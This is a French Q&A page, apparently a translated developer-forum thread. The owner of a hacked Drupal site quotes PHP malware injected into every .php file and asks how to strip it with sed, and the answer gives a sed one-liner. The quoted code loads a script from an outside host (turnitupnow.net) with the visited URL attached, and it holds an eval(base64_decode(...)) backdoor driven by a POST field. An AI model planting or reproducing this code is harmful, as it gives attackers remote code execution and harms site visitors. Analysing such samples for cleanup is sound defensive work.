49 votes

sed, remplace la première ligne

Je me suis fait pirater en exécutant une installation Drupal vraiment obsolète (honte à moi)

Il semble qu'ils aient injecté ce qui suit dans chaque fichier .php

 <?php global $sessdt_o; if(!$sessdt_o) { 
  $sessdt_o = 1; $sessdt_k = "lb11"; 
  if(!@$_COOKIE[$sessdt_k]) { 
   $sessdt_f = "102"; 
   if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } 
   else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } 
  } 
  else { 
   if($_COOKIE[$sessdt_k]=="102") { 
    $sessdt_f = (rand(1000,9000)+1); 
     if(!@headers_sent()) {
      @setcookie($sessdt_k,$sessdt_f); } 
     else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; }  
     sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"]; 
     $sessdt_v = urlencode(strrev($sessdt_j)); 
     $sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200); 
     echo "<script src='$sessdt_u'></script>"; 
     echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; 
    } 
   } 
   $sessdt_p = "showimg"; 
   if(isset($_POST[$sessdt_p])){
    eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));
    exit;
   } 
  }

Puis-je supprimer et remplacer ceci par sed ? par exemple:

 find . -name *.php | xargs ... 

J'espère que le site fonctionnera juste pour le moment pour utiliser wget et en faire une copie statique.

107voto

Scharron Points 5866

Vous pouvez utiliser sed avec quelque chose comme

 sed '1 s/^.*$/<?php/'

La partie 1 ne remplace que la première ligne. Ensuite, grâce à la commande s , il remplace toute la ligne par <?php .

Pour modifier vos fichiers sur place, utilisez l' -i de GNU sed .

Prograide.com

Prograide est une communauté de développeurs qui cherche à élargir la connaissance de la programmation au-delà de l'anglais.
Pour cela nous avons les plus grands doutes résolus en français et vous pouvez aussi poser vos propres questions ou résoudre celles des autres.

Powered by:

X